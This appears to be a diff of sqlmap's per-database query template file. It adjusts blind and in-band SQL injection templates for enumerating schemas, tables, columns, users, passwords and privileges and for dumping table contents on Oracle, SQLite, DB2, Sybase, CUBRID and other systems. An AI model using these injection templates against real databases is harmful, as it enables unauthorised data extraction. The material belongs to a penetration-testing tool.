||||
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
||||
<dbs>
|
||||
@@ -314,8 +330,8 @@
|
||||
<blind query="SELECT OWNER FROM (SELECT OWNER,ROWNUM AS CAP FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)) WHERE CAP=%d" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES" condition="OWNER"/>
|
||||
<blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME,ROWNUM AS CAP FROM SYS.ALL_TABLES WHERE OWNER='%s') WHERE CAP=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE OWNER='%s'"/>
|
||||
<inband query="SELECT OWNER,OBJECT_NAME FROM SYS.ALL_OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%'" condition="OWNER"/>
|
||||
<blind query="SELECT OBJECT_NAME FROM (SELECT OBJECT_NAME,ROWNUM AS CAP FROM SYS.ALL_OBJECTS WHERE OWNER='%s' AND OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%') WHERE CAP=%d" count="SELECT COUNT(OBJECT_NAME) FROM SYS.ALL_OBJECTS WHERE OWNER='%s' AND OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
|
||||
@@ -360,6 +376,9 @@
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<hex query="HEX(%s)"/>
|
||||
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
||||
<bitmap query="((UNICODE(SUBSTR((%s),1+((%s-%s)/%s),1))>>((%s-%s)%%%s))&1)=1"/>
|
||||
<bitchar query="((UNICODE(SUBSTR((%s),%s,1))>>(%s))&1)=1"/>
|
||||
<bitcol query="((%s>>%s)&1)=1"/>
|
||||
<banner query="SELECT SQLITE_VERSION()"/>
|
||||
<current_user/>
|
||||
<current_db/>
|
||||
@@ -384,7 +403,7 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s" rowid="rowid" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<blind query="SELECT %s FROM %s ORDER BY rowid LIMIT %d,1" count="SELECT COUNT(*) FROM %s" rowid="rowid" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
</dump_table>
|
||||
<search_db/>
|
||||
<search_table>
|
||||
@@ -440,8 +459,8 @@
|
||||
|
||||
<dbms value="Firebird">
|
||||
<!--Firebird doesn't like big VARCHARs-->
|
||||
<cast query="TRIM(CAST(%s AS VARCHAR(8000)))"/>
|
||||
<length query="CHAR_LENGTH(TRIM(%s))"/>
|
||||
<cast query="TRIM(TRAILING FROM CAST(%s AS VARCHAR(8000)))"/>
|
||||
<length query="CHAR_LENGTH(TRIM(TRAILING FROM %s))"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="ROWS %d TO %d"/>
|
||||
<limitregexp query="\s+ROWS\s+([\d]+)(\s+TO\s+([\d]+))?"/>
|
||||
@@ -485,7 +504,7 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT FIRST 1 SKIP %d %s FROM %s" count="SELECT COUNT(*) FROM %s"/>
|
||||
<blind query="SELECT FIRST 1 SKIP %d %s FROM %s ORDER BY %s" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<search_db/>
|
||||
<search_table>
|
||||
@@ -555,8 +574,8 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="Sybase">
|
||||
<cast query="CONVERT(VARCHAR(4000),%s)"/>
|
||||
<length query="LTRIM(STR(LEN(%s)))"/>
|
||||
<cast query="CONVERT(VARCHAR(16384),%s)"/>
|
||||
<length query="LTRIM(STR(LEN(%s+'.')-1))"/>
|
||||
<isnull query="ISNULL(%s,' ')"/>
|
||||
<delimiter query="+"/>
|
||||
<limit query="SELECT TOP %d "/>
|
||||
@@ -570,7 +589,7 @@
|
||||
<substring query="SUBSTRING((%s),%d,%d)"/>
|
||||
<concatenate query="%s+%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||
<hex query="BINTOSTR(CONVERT(VARBINARY,%s))"/>
|
||||
<hex query="BINTOSTR(CONVERT(VARBINARY(16384),%s))"/>
|
||||
<inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
|
||||
<banner query="SELECT @@VERSION"/>
|
||||
<current_user query="SELECT SUSER_NAME()"/>
|
||||
@@ -598,16 +617,16 @@
|
||||
<blind/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT name FROM %s..sysobjects WHERE type IN ('U')"/>
|
||||
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name AS name FROM %s..sysobjects,%s..sysusers WHERE %s..sysobjects.uid=%s..sysusers.uid AND %s..sysobjects.type IN ('U','V')"/>
|
||||
<blind/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT %s..syscolumns.name,%s..syscolumns.usertype FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" condition="[DB]..syscolumns.name"/>
|
||||
<inband query="SELECT %s..syscolumns.name,%s..syscolumns.usertype FROM %s..syscolumns WHERE %s..syscolumns.id=object_id('%s.%s')" condition="[DB]..syscolumns.name"/>
|
||||
<blind/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(VARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(VARCHAR(4000),%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(VARCHAR(16384),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(VARCHAR(16384),%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/>
|
||||
@@ -624,9 +643,9 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="IBM DB2">
|
||||
<!-- Casting to varchar does not work with version < v9, so we had to use char(254) instead -->
|
||||
<cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
|
||||
<length query="LENGTH(RTRIM(CAST(%s AS CHAR(254))))"/>
|
||||
<!-- VARCHAR(32672) (DB2 max), not CHAR(254) which silently truncated values >254 chars; RTRIM kept to strip CHAR-column blank padding (DB2 <v9, which lacked the VARCHAR cast, is long unsupported) -->
|
||||
<cast query="RTRIM(CAST(%s AS VARCHAR(32672)))"/>
|
||||
<length query="CHARACTER_LENGTH(RTRIM(CAST(%s AS VARCHAR(32672))),CODEUNITS32)"/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="ROW_NUMBER() OVER () AS CAP %s) AS qq WHERE CAP"/>
|
||||
@@ -638,11 +657,11 @@
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--"/>
|
||||
<!-- TODO -->
|
||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||
<substring query="SUBSTRING((%s),%d,%d,CODEUNITS32)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSIBM.SYSDUMMY1"/>
|
||||
<hex query="HEX(%s)"/>
|
||||
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
||||
<inference query="SUBSTRING((%s),%d,1,CODEUNITS32)>'%c'"/>
|
||||
<!-- NOTE: We have to use the complicated UDB OLAP functions in query2 because sqlmap injects isnull query inside MAX function, else we would use: SELECT MAX(versionnumber) FROM sysibm.sysversions -->
|
||||
<banner query="SELECT service_level FROM TABLE(sysproc.env_get_inst_info())" query2="SELECT versionnumber FROM (SELECT ROW_NUMBER() OVER (ORDER BY versionnumber DESC) AS CAP,versionnumber FROM sysibm.sysversions) AS qq WHERE CAP=1"/>
|
||||
<current_user query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
|
||||
@@ -670,8 +689,8 @@
|
||||
<blind query="SELECT schemaname FROM (SELECT ROW_NUMBER() OVER () AS CAP,schemaname FROM syscat.schemata) AS qq WHERE CAP=%d" count="SELECT COUNT(schemaname) FROM syscat.schemata"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT tabschema,tabname FROM sysstat.tables" condition="tabschema"/>
|
||||
<blind query="SELECT tabname FROM (SELECT ROW_NUMBER() OVER () AS CAP,tabname FROM sysstat.tables WHERE tabschema='%s') AS qq WHERE CAP=INT('%d')" count="SELECT COUNT(*) FROM sysstat.tables WHERE tabschema='%s'"/>
|
||||
<inband query="SELECT tabschema,tabname FROM syscat.tables WHERE type IN ('T','V')" condition="tabschema"/>
|
||||
<blind query="SELECT tabname FROM (SELECT ROW_NUMBER() OVER () AS CAP,tabname FROM syscat.tables WHERE tabschema='%s' AND type IN ('T','V')) AS qq WHERE CAP=INT('%d')" count="SELECT COUNT(*) FROM syscat.tables WHERE tabschema='%s' AND type IN ('T','V')"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT name,RTRIM(coltype)||'('||RTRIM(CAST(length AS CHAR(254)))||')' FROM sysibm.syscolumns WHERE tbname='%s' AND tbcreator='%s'" condition="name"/>
|
||||
@@ -679,19 +698,19 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT ENTRY_VALUE FROM (SELECT ROW_NUMBER() OVER () AS CAP,%s AS ENTRY_VALUE FROM %s) AS qq WHERE CAP=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||
<blind query="SELECT ENTRY_VALUE FROM (SELECT ROW_NUMBER() OVER (ORDER BY %s) AS CAP,%s AS ENTRY_VALUE FROM %s) AS qq WHERE CAP=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schemaname FROM syscat.schemata WHERE %s" condition="schemaname"/>
|
||||
<blind query="SELECT schemaname FROM (SELECT DISTINCT(schemaname) FROM syscat.schemata WHERE %s) AS qq" count="SELECT COUNT(DISTINCT(schemaname)) FROM syscat.schemata WHERE %s" condition="schemaname"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT tabschema,tabname FROM sysstat.tables WHERE %s" condition="tabname" condition2="tabschema"/>
|
||||
<blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM sysstat.tables WHERE %s) AS qq" query2="SELECT DISTINCT(tabname) FROM sysstat.tables WHERE tabschema='%s'" count="SELECT COUNT(DISTINCT(tabschema)) FROM sysstat.tables WHERE %s" count2="SELECT COUNT(tabname) FROM sysstat.tables WHERE tabschema='%s'" condition="tabname" condition2="tabschema"/>
|
||||
<inband query="SELECT tabschema,tabname FROM syscat.tables WHERE (%s) AND type IN ('T','V')" condition="tabname" condition2="tabschema"/>
|
||||
<blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM syscat.tables WHERE (%s) AND type IN ('T','V')) AS qq" query2="SELECT DISTINCT(tabname) FROM syscat.tables WHERE tabschema='%s' AND type IN ('T','V')" count="SELECT COUNT(DISTINCT(tabschema)) FROM syscat.tables WHERE (%s) AND type IN ('T','V')" count2="SELECT COUNT(tabname) FROM syscat.tables WHERE tabschema='%s' AND type IN ('T','V')" condition="tabname" condition2="tabschema"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT tabschema,tabname FROM sysstat.columns WHERE %s" condition="colname" condition2="tabschema" condition3="tabname"/>
|
||||
<blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM sysstat.columns WHERE %s) AS qq" query2="SELECT DISTINCT(tabname) FROM sysstat.columns WHERE tabschema='%s'" count="SELECT COUNT(DISTINCT(tabschema)) FROM sysstat.columns WHERE %s" count2="SELECT COUNT(DISTINCT(tabname)) FROM sysstat.columns WHERE tabschema='%s'" condition="colname" condition2="tabschema" condition3="tabname"/>
|
||||
<inband query="SELECT tabschema,tabname FROM syscat.columns WHERE %s" condition="colname" condition2="tabschema" condition3="tabname"/>
|
||||
<blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM syscat.columns WHERE %s) AS qq" query2="SELECT DISTINCT(tabname) FROM syscat.columns WHERE tabschema='%s'" count="SELECT COUNT(DISTINCT(tabschema)) FROM syscat.columns WHERE %s" count2="SELECT COUNT(DISTINCT(tabname)) FROM syscat.columns WHERE tabschema='%s'" condition="colname" condition2="tabschema" condition3="tabname"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
@@ -941,7 +960,7 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT z FROM (SELECT %s AS z,row_number() over() AS y FROM %s.%s)x WHERE x.y-1=%d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<blind query="SELECT z FROM (SELECT %s AS z,row_number() over(ORDER BY %s) AS y FROM %s.%s)x WHERE x.y-1=%d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schemas.name FROM schemas WHERE %s" condition="schemas.name"/>
|
||||
@@ -949,7 +968,7 @@
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" condition="tables.name" condition2="schemas.name"/>
|
||||
<blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" condition="tables.name" condition2="schemas.name"/>
|
||||
<blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count="SELECT COUNT(DISTINCT(schemas.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" condition="tables.name" condition2="schemas.name"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" condition="columns.name" condition2="schemas.name" condition3="tables.name"/>
|
||||
@@ -959,8 +978,8 @@
|
||||
|
||||
<dbms value="Apache Derby">
|
||||
<!-- NOTE: CHAR(%s) causes 'A truncation error was encountered trying to shrink CHAR' -->
|
||||
<cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
|
||||
<length query="LENGTH(RTRIM(CAST(%s AS CHAR(254))))"/>
|
||||
<cast query="RTRIM(CAST(%s AS VARCHAR(32672)))"/>
|
||||
<length query="LENGTH(RTRIM(CAST(%s AS VARCHAR(32672))))"/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="OFFSET %d ROWS FETCH FIRST %d ROWS ONLY"/>
|
||||
@@ -1000,7 +1019,7 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s OFFSET %d ROWS FETCH FIRST 1 ROW ONLY" count="SELECT COUNT(*) FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH FIRST 1 ROW ONLY" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<users>
|
||||
<inband query="SELECT USERNAME FROM SYS.SYSUSERS"/>
|
||||
@@ -1026,7 +1045,7 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="Vertica">
|
||||
<cast query="CAST(%s AS CHARACTER(10000))"/>
|
||||
<cast query="CAST(%s AS VARCHAR(10000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
@@ -1050,7 +1069,7 @@
|
||||
<hostname query="SELECT MIN(node_name) FROM v_catalog.nodes"/>
|
||||
<table_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='TABLE' AND object_schema='%s' AND object_name='%s'"/>
|
||||
<!-- NOTE: Vertica uses "projection columns" in case of column comments (e.g. testusers_super.surname) -->
|
||||
<column_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='COLUMN' AND object_schema='%s' AND object_name LIKE '%.%s'"/>
|
||||
<column_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='COLUMN' AND object_schema='%s' AND object_name LIKE '%s%%.%s'"/>
|
||||
<is_dba query="(SELECT is_super_user FROM v_catalog.users WHERE user_name=CURRENT_USER OFFSET 0 LIMIT 1)"/>
|
||||
<check_udf query="(SELECT procedure_name='%s' FROM v_catalog.user_procedures WHERE procedure_name='%s' OFFSET 0 LIMIT 1)"/>
|
||||
<users>
|
||||
@@ -1158,8 +1177,8 @@
|
||||
<substring query="SUBSTR(%s,%d,%d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||
<hex query="TO_HEX(%s)"/>
|
||||
<inference query="CODEPOINT(SUBSTR((%s),%d,1))>%d" dbms_version=">=0.178" query2="SUBSTR((%s),%d,1)>'%c'"/>/>
|
||||
<hex query="TO_HEX(CAST(%s AS VARBINARY))"/>
|
||||
<inference query="CODEPOINT(CAST(SUBSTR((%s),%d,1) AS VARCHAR(1)))>%d" dbms_version=">=0.178" query2="SUBSTR((%s),%d,1)>'%c'"/>
|
||||
<banner query="version()"/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db query="current_schema"/>
|
||||
@@ -1238,7 +1257,7 @@
|
||||
</passwords>
|
||||
<privileges>
|
||||
<inband query="SELECT USER_NAME,PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID" condition="USER_NAME"/>
|
||||
<blind query="SELECT PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%d' LIMIT %d,1" count="SELECT COUNT(PRIV_NAME) FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%d'"/>
|
||||
<blind query="SELECT PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%s' LIMIT %d,1" count="SELECT COUNT(PRIV_NAME) FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%s'"/>
|
||||
</privileges>
|
||||
<roles>
|
||||
<inband query="SELECT GRANTEE.USER_NAME AS GRANTEE, USER_ROLE.USER_NAME AS GRANTED_ROLE FROM SYSTEM_.SYS_USER_ROLES_ JOIN SYSTEM_.SYS_USERS_ GRANTEE ON GRANTEE_ID=GRANTEE.USER_ID JOIN SYSTEM_.SYS_USERS_ USER_ROLE ON ROLE_ID=USER_ROLE.USER_ID" condition="GRANTEE"/>
|
||||
@@ -1259,7 +1278,7 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_ WHERE %s" condition="USER_NAME"/>
|
||||
@@ -1347,6 +1366,7 @@
|
||||
<dbms value="ClickHouse">
|
||||
<cast query="CAST(%s AS Nullable(String))"/>
|
||||
<length query="length(%s)"/>
|
||||
<hex query="hex(%s)"/>
|
||||
<isnull query="ifNull(%s, '')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="LIMIT %d OFFSET %d"/>
|
||||
@@ -1367,7 +1387,7 @@
|
||||
<hostname query="hostName()"/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<is_dba query="(SELECT access_type FROM system.grants WHERE user_name=currentUser())='ALL'"/>
|
||||
<is_dba query="(SELECT count() FROM system.grants WHERE user_name=currentUser() AND access_type='ALL')>0"/>
|
||||
<check_udf/>
|
||||
<users>
|
||||
<inband query="SELECT name FROM system.users"/>
|
||||
@@ -1509,7 +1529,7 @@
|
||||
<current_db query="CURRENT_USER"/>
|
||||
<hostname/>
|
||||
<table_comment query="SELECT comment FROM db_class WHERE owner_name='%s' AND class_name='%s'"/>
|
||||
<column_comment query="SELECT db_attribute.comment FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s' AND db_class.class_name='%s' AND attr_name='%s'"/>
|
||||
<column_comment query="SELECT db_attribute.comment FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.owner_name='%s' AND db_class.class_name='%s' AND attr_name='%s'"/>
|
||||
<is_dba query="CURRENT_USER='DBA'"/>
|
||||
<check_udf query="(SELECT meth_name FROM db_method WHERE meth_name='%s' LIMIT 0,1)='%s'"/>
|
||||
<users>
|
||||
@@ -1532,12 +1552,12 @@
|
||||
<blind query="SELECT class_name FROM db_class WHERE owner_name='%s' LIMIT %d,1" count="SELECT COUNT(class_name) FROM db_class WHERE owner_name='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT attr_name,data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" condition="attr_name"/>
|
||||
<blind query="SELECT attr_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" query2="SELECT data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" count="SELECT COUNT(attr_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" condition="attr_name"/>
|
||||
<inband query="SELECT attr_name,data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND db_class.owner_name='%s'" condition="attr_name"/>
|
||||
<blind query="SELECT attr_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND db_class.owner_name='%s'" query2="SELECT data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND db_class.owner_name='%s'" count="SELECT COUNT(attr_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND db_class.owner_name='%s'" condition="attr_name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT name FROM db_user WHERE %s" condition="name"/>
|
||||
@@ -1548,8 +1568,8 @@
|
||||
<blind query="SELECT DISTINCT(owner_name) FROM db_class WHERE %s" query2="SELECT DISTINCT(class_name) FROM db_class WHERE owner_name='%s'" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_class WHERE %s" count2="SELECT COUNT(DISTINCT(class_name)) FROM db_class WHERE owner_name='%s'" condition="class_name" condition2="owner_name"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT owner_name,db_class.class_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" condition="attr_name" condition2="owner_name" condition3="db_class.class_name"/>
|
||||
<blind query="SELECT DISTINCT(owner_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" query2="SELECT DISTINCT(db_class.class_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s'" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" count2="SELECT COUNT(DISTINCT(db_class.class_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s'" condition="attr_name" condition2="owner_name" condition3="db_class.class_name"/>
|
||||
<inband query="SELECT db_class.owner_name,db_class.class_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" condition="attr_name" condition2="db_class.owner_name" condition3="db_class.class_name"/>
|
||||
<blind query="SELECT DISTINCT(db_class.owner_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" query2="SELECT DISTINCT(db_class.class_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.owner_name='%s'" count="SELECT COUNT(DISTINCT(db_class.owner_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" count2="SELECT COUNT(DISTINCT(db_class.class_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.owner_name='%s'" condition="attr_name" condition2="db_class.owner_name" condition3="db_class.class_name"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
@@ -1648,7 +1668,7 @@
|
||||
<columns/>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<search_db/>
|
||||
<search_table/>
|
||||
@@ -1705,7 +1725,7 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
